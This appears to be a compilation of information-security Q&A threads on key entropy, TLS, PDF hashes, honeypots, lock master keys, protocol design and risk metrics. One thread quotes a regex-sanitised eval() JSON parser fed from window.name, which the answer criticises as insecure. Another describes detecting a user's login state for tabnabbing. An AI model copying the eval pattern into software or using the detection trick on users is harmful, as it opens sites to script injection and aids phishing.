How much more secure is encryption if the program requires random input from the user? I know there are existing questions about how Truecrypt uses mouse input to increase entropy. My question is, how much of a difference does it make? I don't know of any other encryption utilities that do this, so does this mean the rest of them (like 7-zip) are unsafe? To my knowledge the typical way of doing this is to use the computer time as the seed to the random number generator, which in a sense is the same as user input as an attack doesn't know (to the millisecond) when the user presses the button. How much more secure is encryption if it uses user input like moving the mouse or random keyboard strokes?

TL;DR:
None, really. Modern computers generate high-quality entropy ("randomness", essentially) fast enough that you wiggling your mouse is irrelevant.
More detail:
Programs like Truecrypt (and possibly older versions of things like ssh-keygen, gpg, and so on) that tell you to do stuff during key generation are operating on the assumption that the OS may not have very fast entropy sources other than user interaction and/or a very small entropy pool for its cryptographically secure pseudo-random number generator (CSPRNG). On old computers, especially without Internet connections or enough resources to run a lot of background processes, this was probably true at least some of the time.
Modern computers are pretty good at entropy generation and have relatively large entropy pools that can easily cough up enough pits to generate a key. Additionally, these days it is common to use CSPRNGs that support stretching entropy (on *nix OSes, this would be the difference between /dev/random, which pulls from the entropy pool directly, and /dev/urandom which can take a small amount of entropy from the pool and use it to generate a large number of slightly-less-random bits; /dev/urandom is, on modern OSes, still generally good enough for key generation). It's still theoretically possible to end up with machines that have predictable kernel entropy pools (a bunch of identical VMs running on identical headless machines running identical software versions started at the same time, etc. may sometimes have the same kernel entropy initially), but it's not easy. This kind of thing is why modern VM hosts have ways to feed some entropy to the VM guests based on the hardware states, etc. that are usually used in kernel entropy generation these days.
Most modern CPUs even have what amount to hardware RNGs based on things like the thermal state of the different parts of the CPU chip, which vary rapidly depending on things like exactly what instructions have been run recently and whether they caused cache misses or not, miniscule variations in voltage from the power supply, air movement in the room, and other stuff like that; the differences are slight, but taken together there's a lot of entropy there and the CPU has dedicated hardware for harvesting it and new opcodes for providing it to the OS. Many OSes mix this into their kernel entropy pool, along with other inputs, making it very hard to exhaust entropy under normal "user" workloads on a modern PC.
IMPORTANT:
There is no CSRPNG in the world that is seeded to any significant degree off of the system clock! The reason why is simple. You seem to think that "to the millisecond" timing is sufficiently random for crypto, but you're quite wrong about that. Let's take something like generating a GPG key pair as an example. Those generally have a validity period on their public keys, which tells me (I have your public key, it is after all public) when the key was generated, to the day. There are 86400000 ms in a day (ignoring the fact that I can probably narrow that down a lot by considering hours when a person is likely to be awake). Log2(86400000) is 26.36 bits. Your supposedly super-secure 4096-bit RSA key pair actually has less entropy than a decent-quality password! Brute-forcing 86400000 different possible key pairs to find the corresponding private key will take a while, but a hell of a lot less time than trying to factor a 4096-bit RSA public key. In fact, there aren't enough milliseconds since the dawn of electronic computing to produce a fully-random DES key (56 bits) by choosing from among them, and we can brute-force DES in under a day using off-the-shelf hardware (yes, RSA key generation takes a lot more work than just taking 56 bits and computing their parity for DES key generation, but it's still fast enough for this purpose).
Instead, any crypto program that isn't purely worthless garbage (and quite a few that are) use a CSPRNG (such as /dev/urandom on Unix-like systems, or CryptGenRandom() on Windows) for key generation. Similarly, most programming language standard libraries include at least two PRNGs: a fast but insecure one for stuff where it doesn't actually matter if somebody could theoretically predict the output (in Java, this is java.util.Random), and a cryptographically-secure one, usually either seeded by or directly just returning the output of the OS CSPRNG, for stuff like crypto (in Java, this is java.security.SecureRandom). No PRNG seeded by the current time, regardless of algorithm it uses, could ever be considered cryptographically secure; the search space is just too small.


In what cases is it ok keep a user logged in or provide auto login if an app starts? I am wondering what the difference is between WhatsApp and my Bank application, and what considerations determine what is the right approach to handle user authentication.

WhatsApp:

I create my account and don't have to login again
I change phone but keep my old number (same chip)
WhatsApp sends me a code because it is the same number and my account is active again
If my wife/girlfriend/mother/coworker gets the phone, they can see the conversations

BankApp:

I have to register and create an account with a login/password and use my card number to validate who I am
They send me an activation link to my email
I have to enter my login and password every time
I get logged out after 5 minutes of inactivity
If a thief points a gun at you, you still will give away the password

I'm developing a tracking app and my first thought was to create a login form so user needs to enter the login/password each time but now I think it is too cumbersome for user. Then I realized WhatsApp never asks me for anything and is always running when I start the phone.

So my approach now is such that the login page only appears once. The user inputs his login and if he is already register on the system, he gets the activation code. The app starts and doesn't ask for login again. The app also sends the ESN number to prove identity.

It is easy to use, but still has a problem if someone gets access to your phone, because they can know where are you been.

But again if they have access to your phone they can browse other things like your Google activity and that seem to be OK because you don't need to enter your password to open Google.

So When is it OK to have a system like WhatsApp, and when a more robust security like the Bank?

Congratulations! You have just given a nice example that different applications with different security requirements use different approaches.

The highest requirements for whatsapp are availability and ease of use because they are targetting end users and assume that they can trade a light confidentiality risk (do not ask password on each new session) for ease of use.

On the other hand a bank application allows for financial operations. Here the most important part is to be sure of who  is at the other end of the communication, or at least to be able to prove that they have used state of the art practices to establish it. Because they do not want that another guy could use your smartphone without your explicit permission to transfer money and that you could say (and prove) that you are not at the origin of the transaction. Even if you were forced to give your password because of a rubber hose attack, they will have committen no errors, and won't be liable for any consequences of the operation.

So the rule is: the security rules depend on the security requirements. You know whether for your application, ease of use is more important that security of authentication. I don't.


Chain of trust incomplete and Server Cipher order not set I ran an SSL test on a test website using testssl (https://testssl.sh) and I found this issues:

- Chain of trust is Incomplete
- Server Cipher order is not set

I understand that when Chain of Trust is incomplete there is a missing intermediate certificate in the chain. What is not clear for me is the security, so what threat is posed by
an incomplete chain of trust? Same for the server cipher order, why is relevant for security?

What is not clear for me is the security, so what threat is posed by an incomplete chain of trust?

Many browsers will work around such incomplete trust chain, i.e. fill in the missing intermediate certificate from other sources. This is typically done by using locally cached certificates or using the CA Issuers part of the Authority Information Access extension in the certificate to download the missing CA certificate.

But apart from the desktop browsers these workarounds are usually not done. This means that mobile applications, mobile browsers or standalone desktop applications or scripts will fail to validate the certificate which usually results in failing to access the site. In this case it would only be an availability issue. Some developers though then "fix" the problem by simply switching off certificate validation - in which case the availability problem turns into a security problem since now arbitrary certificates are accepted for the site and MITM attacks get undetected.

  Server Cipher order is not set

My guess is that it means that the server will adhere to the clients preference of ciphers instead of having its own preference which ciphers are best. As long as the server only supports secure ciphers this is not a problem at all since the  final cipher will still be secure. In fact, it can be perfectly ok to adhere to the clients preference. One example is where the client has no hardware backed AES implementation and thus might prefer ciphers using ChaCha20 which have efficient software-only implementations. The server might agree to this preference in order to take load from the client - see this blog from Cloudflare for more.


Why do PDFs contain password hashes? Reading this question about extracting PDF password hashes to feed into john the ripper has me wondering why password hashes are in a PDF in the first place? Shouldn't it be using the supplied password to derive a symmetric key, and then decrypt the contents of the PDF?

UPDATE: this question explains that PDF encryption uses a symmetric key like I expect. My question still stands about what pdf2john.pl is doing to extract a password hash from a PDF file?

PDF file encrypted with my password, does that mean my password is stored in plaintext?

Best guess, they contain the hash so that it's possible to check the password for correctness before trying to decrypt the file contents (which might be very long). Hopefully the contents also have a MAC or other integrity / authentication tag of some sort, so you can verify the correctness of the password after decryption, but that could be a lot of work if the file is huge (as some PDFs are) just to tell the user "whoops, wrong password".

If the attacker knows part of the plaintext (or at least knows what it should look like, such as that an embedded image should have a recognizable image file header), that can be used as a "crib" to check the password without either resorting to the hash or trying to decrypt the whole file. However, that doesn't work very well for the general case.


Server to Server Communication RSA or x509 Certificate I want to build Server (My) to Server (Other Client parties) web service and I want to add security layer for client verification.

Do I need to force clients to create x509 Certificates or RSA key pair is enough ?
As I guess x509 contains RSA public key and Certificate data, so verification process is same.

If you just want to make sure that the client owns a specific private key than it is enough to have a key based authentication. This is done by SSH for example.

But this requires that each server knows the public keys for each client which might want to authenticate there. This might work for a few clients but does not scale well for lots of clients or multiple servers. In this case a PKI (public key infrastructure) is preferable with some central certificate authority (CA) issuing all the certificates and the servers can simply accept all certificates issued by this CA (but need to check also expiration and revocation) and get the information about the client from the subject.  While this is more effort in the initial setup it scales better if many peers are involved.


Firefox and chrome infected with hohosearch and newsearch123.com A fortnight before, I downloaded a keygen file, which I presumed to be fine, but when I started the installation, I felt there is something weird. So I was about to start the installation, but I cancelled.

After I cancelled and when I opened my browser, I got some hohosearch as my home page instead of other. I did research on it and found that it is more of an annoying adware than anything dangerous.

Few days later, when I was browsing, things freezed for 20-25 seconds and once it started, my internet stopped. When I debugged and check control panel for any new software that could have installed, to my shock, an antivirus tool along with a player got installed. Then I started feeling scared about this adware.

After few days, instead of hohosearch, a new home page with newsearch123.com became my home page. I did not find any tool to remove it and it did not install any software like before, but all of sudden, few days back, I cannot open google or any other sites with HTTPS. The error being thrown as "Invalid Certificate".

So I am sure that this adware has become dangerous and now I am not able to work on browsers because of this.

I did try to troubleshoot all that was mentioned on search engines with the help of my other machine, but there is no help. The system admin has only one solution and that is to format C drive, but I do not consider this a solution, but a flush. What should I do?

I'm afraid wiping the machine, changing all your passwords from another good machine, doing a fresh install from known good install media, and restoring the data (carefully) from backups really is the only solution guaranteed to clean your machine.

In the trade we call this "nuke it from orbit", and the reason it is the only way to be sure is that you don't know what malware has infected your machine. Even if you disassemble the keygen file to work out what you were initially infected with, modern malware is modular in design; once you were infected the malware may have gone off and installed a variety of other pieces of malware, and they in turn may have installed further infections. You can run malware clean-up tools, and they will find some of it, and maybe find all of it, but you can't be sure.


Does an existing SSL connection outlast the certificate's expiration I have two servers A and B that connect via SSL to a third server X.

X had a new certificate installed recently.

Server A could not establish SSL with X, while server B is still working.

Server B is a production site and I am unsure why it still connects securely.

Is it possible that there is a persistent SSL connection that exists between B and X?

My question:

Once established, does the SSL connection still rely on a valid certificate?

I wonder about the risk of updating the trusted store of production server B during the holiday season, versus the risk of the server B SSL connection failing as happened with server A.

This is a highly visible enterprise site, thus my caution about the necessity of adding to B's certificate store and restarting services during this peak season.

The certificate is validated at the beginning of a full TLS handshake and usually not validated again during a SSL session (although possible). A SSL session usually lasts at least from the initial handshake to the end of the TCP connection. But with session resume it can also span multiple TCP connections.


Is there any 'Open Enrypted File Container' Format? Tools that create 'encrypted file containers' use open encryption standards like AES to encrypt container contents, however the container format is proprietary, I am guessing, so need the same tool to decrypt the data. So, is there any Open 'Encrypted File Container format'? I mean I should be able to use one tool to create the container, maybe another to mount/decrypt the container if they both support the same standard?

Archives and emails come to mind.

Archive formats: both Zip and 7Zip are open standards that support encryption (though how well they do encryption is up for debate).

Email formats: S/MIME, aka Cryptographic Message Syntax, aka PKCS#7 is an open standard for a container format that supports cryptographic signing and encryption (both symmetric encryption like AES, and public-key encryption like RSA). S/MIME is widely supported by email clients such as Outlook, Thunderbird, and probably many others.

OpenPGP Message Format is another such container format designed for email which supports the same crypto operations as S/MIME. In addition, many people use PGP for encrypting files on disk. In fact all software distributed through a linux package manager uses the PGP format for its crypto wrapper. The most common tool for reading / writing PGP files is called GnuPG aka GPG, but others tools exist as well.

TL;DR: Yes, there are many such Open 'Encrypted File Container formats' which can be understood by many different tools. The ones that come to mind are zip-like things, and email-like things, but I'm sure there are more examples.


JavaScript eval() to parse JSON after sanitizing with regexes — is XSS possible? Is possible to bypass my regex and execute any JavaScript?

<script>
  function json(a){

  if (/^\s*$/.test(a) ? 0 : /^[\],:{}\s\u2028\u2029]*$/.test(a.replace(/\\["\\\/bfnrtu]/g, "@").replace(/"[^"\\\n\r\u2028\u2029\x00-\x08\x0a-\x1f]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, "]").replace(/(?:^|:|,)(?:[\s\u2028\u2029]*\[)+/g, "")))
    try{
         return eval("(" + a + ")")
    } catch (b) {}

    g(Error("Invalid JSON string: " + a))
  }

  json(window.name);
</script>

My immediate reaction to this was not positive, for a few reasons.

Trying to use regex to parse complex language constructs is a bad idea. Regular expressions just aren't suitable for such constructs.
Security through blacklisting is a bad idea because you will always be, by definition, one step behind the attackers. You should use a positive security model.
There are a huge number of XSS filter evasion techniques that can be used on top of standard vectors. You cannot possibly detect and block them all.
Javascript parsing of JSON via eval() is considered a security vulnerability.
Modern browsers have support for proper native JSON parsing, via JSON.parse() and JSON.stringify().
If you have to support old browsers, there is a safe JSON library you can use that does not use eval() for decoding.

All in all, your regex approach is over-engineered, insecure, misguided, and redundant. You're attempting to solve a problem that has already been solved. Don't be a Dave. Use the proper JSON parsing functions and libraries available to you.


Why doesn't Microsoft implement salt on users passwords in Windows? Pretty straightforward - So we use rainbow tables to get passwords of users out of hashes. So why won't Microsoft implement salt on the passwords in Windows to be hash(password+salt)?

Won't this implementation save a lot of grief, at least while implemented on the SAM file when dealing with password cracking of local users?

The handling of passwords in a Microsoft OS is complex because they use passwords for many usages. The OS (or its domain controller) will store a hashed version of the password, but there are also values which are symmetrically encrypted with keys derived from the password or from the hash thereof. The authentication protocols do not include provisions for exchanging salts when some hashing must occur client side. It is difficult to alter the password processing algorithms without impacting a lot of subsystems and potentially breaking the backward compatibility, which is the driving force of the Windows ecosystem.

It goes down to strategic priorities. Microsoft knows that altering password hashing and authentication protocols to include a salt will have some non-negligible costs which they would have to assume (by fixing all the components which are thus affected). On the other hand, not changing the password hashing is rather "free" for them, because a flaky hashing algorithm will not convince customers to switch to other non-Microsoft systems (the OS market is, in practice, a captive market); it takes a lot more to force potential customers to envision an OS switch which is very expensive. Also, password hashing can arguably be qualified as "defence in depth", a second layer which has any impact only once a breach already occurred; as such, it could be presented as being of secondary importance. Therefore, it is logical, if irritating, that Microsoft does not update its poor password processing practices.

Historically, Microsoft did only one update, when they switched from NTLM v1 to v2, and it was kind of necessary because the older LM hash was so weak that it was beginning to be embarrassing. My guess is that it involved a lot of internal hassle and they are not eager to do it again.


Best practices for securing a public facing web server? I'm looking to make a "bare minimum" checklist for securing a public facing Unix web server. Assume it's a LAMP stack (or similar). This list should be what minimums you would implement. Obviously requirements would go up for high traffic sites (DDoS protection, high availability, etc), but I'm not concerned with that. Just looking for a list of bare minimums for hosting a single web server that is running Apache or NGINX and has a basic on-server MySQL or MariaDB database and a simple PHP application. Assume it's running on AWS, DigitalOcean, etc. Some ideas include:

Blacklisting/whitelisting IP ranges by country
Disable remote login by root
Enable fail2ban (disables IPs after so many failed login attempts)
Configure firewall to only allow relevant ports inbound (e.g. ssh, sftp, https)
Only allow HTTPS and then test validity of certificate and server configuration using Qualys SSL Labs testing tool (https://www.ssllabs.com/ssltest/)
Enable multi-factor authentication everywhere that is public facing such as your Amazon/Digital Ocean/etc. account, your credentials to the server, etc.
Change the root password to minimum 16 characters, alphanumeric with special characters.
What else?

I would definitely add that SSH should not allow password authentication alone, but public-key (and/or some second token).

I would personally add enabling seLinux (or appArmor) to the list, and would also enable and configure auditd, and mandating the use of sudo.

There is a lot more you could do if wanted to go above minimal, but I would consider those three things to be part of the base you would want.

If you wanted something a bit more formal, you could look at the CIS benchmarks (https://benchmarks.cisecurity.org/downloads/benchmarks/).
They possibly aren't minimal, but have some recognition (whatever your opinion of the CIS might be).

CentOS (and I suspect RedHat likes) also has some tools for SCAP (https://scap.nist.gov/) you could check out if they apply.


How many certificates can a CA issue before its secret key is renewed? I'm trying to understand how CA's operate.
One question that came to my mind is that, according to my intuition, a single private key should have a limited amount of certificates it can issue. Given this,

  How often do CA's renew the keys, and under what circumstances (number of certificates issued, time, etc.)?

As an additional question, in the case that a CA needs to renew its key pair, what happens with the previous certificates that are still valid? are these signed again under the new key?

Thanks in advance.

I don't think there's any technical limit, in terms of x509 standard as published by ISO/IEC/ITU-T (I don't have a copy of ISO 9594-8 to confirm this, if anyone does, can you please check this?). However, according to RFC 5280: "serial number MUST be a positive integer" and "Conforming CAs MUST NOT use serialNumber values longer than 20 octets", so a single CA certificate can issue 2159-1 direct descendant certificates with unique serial numbers conforming to RFC 5280.

In practice, each CA often have implementation limits on their infrastructure that further limits what they'll actually be able to generate. However, non-CA implementations may treat the serial number field as a BLOB, so they would be able to handle even oversized or incorrectly encoded serial numbers.

In terms of managing business risks, it is indeed wise for a CA to limit the number of certificates that a single root or intermediate certificates can issue. This is so that if, for any reasons, they have to revoke the root or intermediate certificate, they would only need to reissue a smaller number of certificates rather than what happened to Symantec, in which a problem with one of its subsidiaries causes the certificates for their entire user base to be revoked, as there's no way for browsers to distinguish between certificates issues by the problematic subsidiaries compared to the certificates issued by compliant subsidiaries.


Question regarding MAC and encryption I was reading the chosen answer to the following question -

"MAC vs Encryption"

They say that just using encryption, "an attacker could alter the ciphertext to make it say something else when decrypted", and then say by hashing the message, adding onto the end and encrypting the entire thing, this provides integrity.

My question is, if the attacker can alter the ciphertext even when it's encyrpted, can't the attacker also alter the hash attached to the end of the message so that it matches the modified text?

Thanks in advance.

The attacker can modify certain bits of the plaintext (by modifying the ciphertext), but the attacker does not know what the entire plaintext originally was. Therefore, the attacker doesn't know what bits of the hash will change due to their alterations of the plaintext. To successfully modify the hash and the plaintext, the attacker would need to know the difference between the original hash and the hash of the modified plaintext. The attacker doesn't know this difference, which prevents the attacker from changing the hash to match the modified plaintext.

Now, all of this is based on the idea that the recipient is supposed to decrypt the data, then verify its authenticity. While this can be done, it's also possible to protect the integrity of the ciphertext, allowing the recipient to verify that the message hasn't been tampered with before even attempting decryption. Obviously, just hashing the ciphertext and appending it to the end doesn't work, because the attacker could modify that hash. Instead, there are two ways of doing this, based on the kind of crypto in use. They are both hash-based but have extra security beyond simply hashing:

If using asymmetric cryptography, such as the usual way to use HTTPS or SSH, then you digitally sign the hash. Without getting into the mathematics of how digital signature schemes work, the basic idea is that you have two keys: a private key that only you know, and a public key that everybody can get a copy of. The private key is used to sign the hash, and the public key is used to verify the signature. Because the attacker doesn't have your private key, if they modify the message and re-compute the hash, they won't be able to re-create a signature that can be verified using your public key. Therefore, anybody will be able to use your public key to tell that the message they received is not the message that you signed.
If using symmetric cryptography only, like an encrypted .ZIP file or most other forms of password encryption, you create a keyed Hash-based Message Authentication Code (or HMAC). Again, without going into the details, the idea of an HMAC is that when you compute the hash of the message, you also stick in some additional data that is based on a key (which might be the key used to encrypt the message, or might be another one) that the intended recipient of the encrypted message also has. This additional data added to the hash function input modifies the output (the digest) in such a way that if an attacker modifies the message, the attacker won't be able to figure out what the new HMAC should be because the attacker doesn't know the key and therefore, when the recipient uses the key to compute the HMAC of the modified message, it won't match and the recipient will know the message was tampered with.


CSP allowing Base64 encoded images without unsafe-eval If I allow base64 encoded images to load on my website, but I do not have unsafe-eval enabled, nor have I allowed 'inline-script' would my site still be at risk by allowing base64 encoded image data to be painted onto images that might have malicious script inside?

A base64 encoded image inside a <img src="data:..."> will not execute any script, no matter if unsafe-eval is enabled or not. It will only display the image. It does not matter if the image contains any script since the browser will  treat it only like a dumb image inside the context of the img tag.


Will blacklisting a stolen iPhone prevent the thiefs from getting access to my data? My iPhone was stolen. I have AT&T. I did a factory reset, but believe my phone was turned off because I never got confirmation that the phone was erased. If the person who stole the phone took out my sim card, it will not connect to the network, which means they have access to all my personal info.  If I have the phone put on blacklist, will this stop someone from being able to take personal info off my phone?

No. If they have the device, and there is no encryption enabled (e.g. lock screen PIN), they can read whatever they like from it. They won't be able to use it as a phone (they could use it as a fancy iPod if they wanted) in countries which support phone blacklists, or to access Apple services, but any data stored on the device itself could be accessed. This may include any data stored in Apple provided services, if the password for these was stored on the phone, and not been changed since the theft.


How to detect if a user is logged in to a specific website? I just learn about tabnabbing.

  Tabnabbing is a computer exploit and phishing attack, which persuades
  users to submit their login details and passwords to popular websites
  by impersonating those sites and convincing the user that the site is
  genuine. [...] The exploit employs scripts to rewrite a page of
  average interest with an impersonation of a well-known website, when
  left unattended for some time.

It is mentionned that you can detect to which website a user is currently logged in.

How would you proceed to detect is logged in Facebook from another site for example?

There is no universal standard about what "being logged in" actually means, so there is no universally applicable solution.

Depending on the website, the attacker could use a javascript which attempts to load an image or other media file from the external website which can only be requested by a user which is logged in. When the user is logged in, the load event will be triggered, otherwise the error event will be triggered.


Are there any standards that *require* companies to use specific Uptime Institute Tiers for data centers? I'm studying for the CCSP exam and am currently reviewing The Uptime Institute Tiers. The tiers themselves make sense but from a practical perspective, I'm curious if any standards/regulations explicitly require the use of a specific tier?  Or if it's "good enough" to have compensating controls to make up for data center deficiencies.

For example, let's say that instead of purchasing services in a single Tier 2 or 3 DC, I deployed resources in multiple Tier 1 data centers (thus potentially offsetting the deficiencies with required interruptive maintenance, etc).  I realize this is a bit of an oversimplification but I think it still illustrates the point: Are there standards that explicitly state "thou shalt use a minimum of Tier X datacenters!"

Are there standards that explicitly state "thou shalt use a minimum of Tier X datacenters!"

You won't find any standards or government rules on that. You might find similar language in contracts where a business/government is setting an expectation for you to meet, but there are no regulations on the matter.

As for the example you provided, "good enough" is determined by a Risk Assessment of your business and infrastructural needs. Try this example:

You have flagship application which is responsible for 2/3 of your companies revenue. You teams regularly test fail-over scenarios across your data centers. One evening, while your team is testing a fail-over, a storm takes out the utility to the data-center. The data-center is tier 1, so it doesn't have redundant power. Thus it's completely down until power is restored.

How much man hour were lost because teams could not test?
What if the transfer failure caused an error which a DB could not be roled back until power came back on?
How many man hours are lost because your data-center team needs to go restart all the services?
What if the power comes back on and the surge blows a breaker?

A tier 1 might be fine for a small business who could be down for a day an survive, but a companies size increases, the expense for downtime on a system does up, not just in man-hours, but also in lost revenue.


Significance of the difference between DSA and RSA in signature verifying speed I have run openssl speed and the output on my CPU for longest available DSA key size, which is 2048 bits:

                      sign      verify    sign/s    verify/s
rsa 2048 bits    0.029185s   0.000799s      34.3      1252.3
dsa 2048 bits    0.007979s   0.009523s     125.3       105.0

To be honest, I was expecting larger amount of time to verify the keys, since people are often comparing the use of these two algorithms giving time of key verification as an argument for using RSA, because 'you generate (sign) the key once but end users verify it way more often'.

I must be missing something then, because since the key is verified in a fraction of a second, I cannot see a reason to say RSA is better, if one user just verifies the key at most couple of times a day when reading e-mails or downloading programs.

Is there any other reason why verification speed is significant or am I missing something else?

No, you're not missing anything. Current processors for desktops and laptops are just ridiculously fast. OpenSSL is a native application that can make most of that.

In general CPU speed on laptops is not much of an issue. It can be an issue on embedded devices of course. Or on higher level languages. Or when latency is very important (e.g. authentication of many TLS connections). Note that normally you don't need to verify one challenge-response, you need to verify a chain of certificates as well. So there are many reasons why verification speed suddenly becomes important again.

In general it is much better to focus on security first and to perform optimizations later. Having a good, flexible design should allow for any signature generation algorithm. If somebody tells you not to use DSA because of speed issues for 2048 bit keys without knowledge of the runtime system then I would seriously question their experience level.

Kind of like the manager that tells you not to use new in methods of your Java toString implementation because it could slow down the application.

Note that 2048 bit keys are starting to get bit too small for comfort for applications that require high security. If you use, say, 3Ki keys then the performance will drop (although the algorithms that uses RSA signature generation will suffer the most).

There may be other reasons to choose RSA over DSA of course. With RSA you also don't need to know about these pesky domain parameters and subkey sizes. RSA is pretty easy to understand and use compared to DSA and ECDSA. So in that sense you could ask yourself why you should not be using RSA.


How can I mitigate the risk of my wifi key being shared with strangers through apps? Sometimes a guest asks for my wifi password, and I gladly give it to them. Sometimes that guest has a wifi sharing app, and said app shares the key with totally random strangers (I know there is some kind of social networking going on so they are not totally random, etc, but let that behind for now).

I have several times changed my wifi password after the fact, but then I have to reauthenticate all my family devices, and again give the wifi to my guests again.

Is there a way to avoid getting the key shared by the app, to mitigate the risk of strangers connecting, or is changing the wifi key every few days the best strategy?

If you give a guest a wifi password, they can share that password though obviously you could politely ask them to not share it.  The only way to prevent that is never share one global wifi password with guests you do not trust.

The best practice would be to maintain your home wifi network (secret password, never give to others) and a shareable guest network (still with a strong password), but one you are willing to share and change frequently if your guests are sharing that password inappropriately.

MAC address filtering is probably not worth the effort, as again your MAC address is broadcast to everyone in cleartext every time you send a packet.

If you really need a more permanent solution, you could probably setup a captive portal on your guest network where users need to register their information and set up a username/password.  Then you can flag and shutoff problem accounts (e.g., if more than 2 MAC addresses use the same password then you shut it off, or if it uses more than ~1 GB of downloads, etc.).


How do Travel Sentry locks work? (supposedly openable only by security agencies) Apparently Travel Sentry locks can only be opened:

by their owner,
by the TSA, CATSA and "other security agencies".

How do they work technically?

Is there some electronics embedded with authentication capabilities?
Do the security agencies have a kind of master code/key?
Do they have a big database giving the code for each individual lock? In that case I guess the lock has to emit some kind of identifier?

Apparently some have just a code, some other have just a key hole:

And some have both, see the pictures on Wikimedia Commons.

They're all master keyed. On each lock you'll see a number ("TSA007" or such) that signifies which key on the ring the TSA agent needs to use to open the lock.

It's bad enough that anybody can buy a few of them and disassemble the locks to know exactly which keys to cut (as one could with any keyed-alike lock). The effort to open them is far lower than that, though: they're embarrassingly insecure locks on their own. You can watch somebody in this video pop open 3 locks in a row, each with seconds of effort using the same generic jiggler keys: https://www.youtube.com/watch?v=xtJx3j7AhQk


Setting up a secure VM and protecting host network I'm an intern doing research on different honeypots, and I'm planning to test a few on a VM. However, I'm on a company network and would like to have my VM as secure as possible. I've read that VMs are designed to prevent code from the guest escaping to the host, and I've read this post on network access with honeypots. I've asked a few of my co-workers, and they say it should be okay. However, I'm still feeling a bit dubious about this.

That being said, what can I do to minimize the risk of a potential attacker gaining access to the network? How can I modify my VM to be as secure as possible?

You are taking the wrong approach here. The purpose (the initial true purpose) of a honeypot as defined by Lance Spitzner was to trap someone inside of a system that seemed to be filled with enough goodies that the attacker would waste time there, giving admins enough time to prevent them from doing damage elsewhere, while studying them. The first open source version that I recall was Deception Toolkit (DTK). With that said, a honeypot was never meant to be on an isolated network.

Isolating your network will likely make your honeypot unattractive. On the same token, running it on a corporate network is dangerous. Many attackers have methods of detecting what is, and what isn't a honeypot. Thus, honeypots often trap low level opportunistic attacks. So be advised, running a honeypot on an active corporate network is a bad idea for a hobbyist. So onto your question, and some suggestions.

Isolating your VM- Depending on your host, and your guest, you would want to minimize the visibility of virtualization applications. For example, the network card (vmnet0 is a dead give away), applets, etc. Creating symmetric FW rules blocking TO your network, and FROM your network. That however, is a dead giveway. Next move? Separate VLAN isolated from even seeing your network. Downside? If you were an attacker, and saw an empty network with no connections, would you stay on the system if you originally thought it was a corporate system?

Suggestion - Download and modify "NetInVM" and place your host, and NetInVM in its own VLAN. Now you have even MORE honeypots, and a mini network generating traffic. You are on an isolated network where your switch/router/firewall controls traffic policies to disallow communication to and from your honeypot. (including ARP, BCAST, MCAST, etc) But be advised... Your honeypot needs connections from the world. If an attacker connects to, he/she too, can connect FROM. Imagine the following:

Attacker --> compromised your honeypot
Attacker --> makes outbound connection FROM your honeypot --> C&C server
Attacker --> analyzes the source of WHO connected to his honeypot
Attacker <-> (thinks) <-> "Odd says I am connecting from a Fortune 100 yet no traffic"
Attacker --> goes dark

A honeypot needs to be believable.


Is this scenario of static ECDH public key exchange right? I'm thinking about the way to build encryption mechanism for 'peer-2-peer' communication. This is a mechanism I had a thought of:
Alice wants to communicate with Bob
First of all, Alice and Bob must know and trust the existence of the same public key server, and retrieved its static DH public key from secure mechanism (like downloading it from secure website.)

Alice randomly generates a new DH key-pair, and calculates secret key for the server, then send the public key to the server.

Server receives public key from Alice, calculate a secret key from Alice, and send encrypted reply back to her.

Alice decrypts the message, if the decrypted is as expected, means the connection is now secure and ready to do key-exchange with Bob.

Bob does the same thing as Alice to establish a secure key exchange mechanism.

Alice and Bob, yet again, generate a new DH key-pair, and tell the server about the key to exchange with each other.

Alice requests a location and public key of Bob from the server.

Alice sends a public key from (5) to Bob.

Bob calculates secret key for Alice, and sends an encrypted response back.

Alice decrypts the message, if the result is as expected, the connection is now established.

Is this (or relevant) method exist in real-world?
If so, are there any references?
Sincerely

If I'm understanding your protocol correctly, both parties must trust the server to not do anything malicious.  For example, in step 6, what if the server 'lies', and sends its own location and public key, instead of Bob's, in its response back to Alice? In other words, if the server were to act maliciously, it could intercept the messages between Alice and Bob.
Ideally, the server should not have to be trusted - i.e. if Alice and Bob can mutually verify each others public keys (e.g. through some out-of-band channel, or through some sort of PKI, or through some sort of web-of-trust model), then that alone should be sufficient for both of them to ensure secrecy and integrity of the messages sent between the two of them.
Another property that is found in most modern secure protocols is perfect forward secrecy.  Perfect forward secrecy ensures that even if and eavesdropper records the ciphertext sent between Alice and Bob, then later Alice and/or Bob's long-term private key is compromised, this private key cannot be used to go back and decrypt the recorded ciphertext.  In addition, modern secure protocols should ensure that earlier keys can not be used to derive later keys, and later keys can not be used to derive earlier keys.
The Double Ratchet Algorithm, used in the Signal Protocol has all of the above properties.  It has undergone extensive peer review, and has been widely adopted through its implementation in the Signal app and WhatsApp.  You might want to consider using this protocol, instead of inventing your own.  See https://signal.org/docs/specifications/doubleratchet/ for more info.


How to calculate Exposure Factor? How can I calculate a single loss expectancy without a given Exposure Factor?

Can someone please explain me?

You cannot calculate a Single Loss Expectancy (SLE) without an actual, historical, estimated, or guess-estimated Exposure Factor (EF).  I think what is lacking in most INFOSEC Risk Management training materials that cover quantitative analysis, is that they don't give much guidance how to translate the generic risk definition [risk = f(asset, threat, vulnerability)] into an EF and into the SLE and ALE formulas.  I looked online just now, and I didn't see anyone that covered it well.

For a risk to exist there must be a vulnerability to exploit, and threats against that vulnerability.  Those threats also have a probability of occurrence (which may be based upon observed attacks).  The Threat Probability translates into the Annualized Rate of Occurrence in the quantitative analysis.  So your EF mostly is based upon the vulnerability and its consequences to the asset when the threat occurs.

Many per-risk (meaning per-threat/vulnerability pair) EFs result in a 0 EF or a 1 EF which reduces some of the risk analysis workload.  It also helps sometimes in doing EF estimation to also consider any mitigators what are put in-place to help reduce or eliminate the vulnerability.

Some simplistic examples of trivial 0 and 1 EFs:

Asset: an online-accessible bank account's balance

Threat: Hacker employs fishing emails to get bank account logins to drain accounts

Vulnerabilities: HUMINT: account holder is tricked to revealing their userid & password
Mitigators: none
Resultant EF to bank account balance: 1.0

Threat: Hacker employs fishing emails to get bank account logins to drain accounts

Vulnerabilities: HUMINT: account holder is tricked to revealing their userid & password
Mitigators: bank does not allow external balance transfers to be initiated online; bank does not show account numbers or routing numbers online
Resultant EF to bank account balance: 0.0

Threat: Hacker uses recent lists of stolen userid/password from a social media site

Vulnerabilities: HUMINT: many account holders use same passwords on all sites and AUTHEN: many sites (including this bank) use one's email address as a userid
Mitigators: bank has in-place two-factor authentication
